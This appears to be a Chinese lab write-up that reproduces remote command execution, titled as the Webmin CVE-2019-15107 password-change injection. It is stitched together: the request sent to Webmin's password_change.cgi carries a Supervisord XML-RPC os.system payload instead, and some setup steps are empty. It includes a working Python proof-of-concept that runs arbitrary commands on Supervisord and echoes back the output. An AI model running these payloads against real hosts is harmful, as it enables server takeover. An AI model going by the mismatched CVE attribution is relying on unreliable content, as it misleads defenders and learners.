0x01 Webmin (1.9.10)

Webmin是一个用于管理类Unix系统的管理配置工具，具有Web页面。在其找回密码页面中，存在一处无需权限的命令注入漏洞，通过这个漏洞攻击者即可以执行任意系统命令。

CVE-2019-15107（远程命令执行漏洞）

启动环境后访问,忽略证书后即可看到登录页面。

需要注意，必须开启“用户更改密码”，这里环境已经开启了，如果没有开启需要手动开启：

首先进入容器，修改root密码：

修改后登录webmin后修改配置：

在中查看则说明修改成功。

开始复现

接下来开始复现，发送如下数据包，即可执行id命令：

POST /password_change.cgi HTTP/1.1 Host: [ip]:10000 Accept-Encoding: gzip, deflate Accept: ** Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 213 <?xml version="1.0"?> <methodCall> <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName> <params> <param> <string>touch /tmp/success</string> </param> </params> </methodCall>

查看命令执行情况：

可以看到命令成功执行。

直接回显的poc

这里还有大佬的另一个思路，将执行的结果写入log文件，然后调用Supervisord自带的readLog方法读取log文件，将结果读出来。

poc脚本：

#!/usr/bin/env python3 import xmlrpc.client import sys target=sys.argv[1] command=sys.argv[2] with xmlrpc.client.ServerProxy(target) as proxy: old=getattr(proxy, 'supervisor.readLog')(0,0) logfile=getattr(proxy, 'supervisor.supervisord.options.logfile.strip')() getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile)) result=getattr(proxy, 'supervisor.readLog')(0,0) print(result[len(old):])

执行poc脚本，输入命令：：

可以看到成功执行命令，并且看到了回显。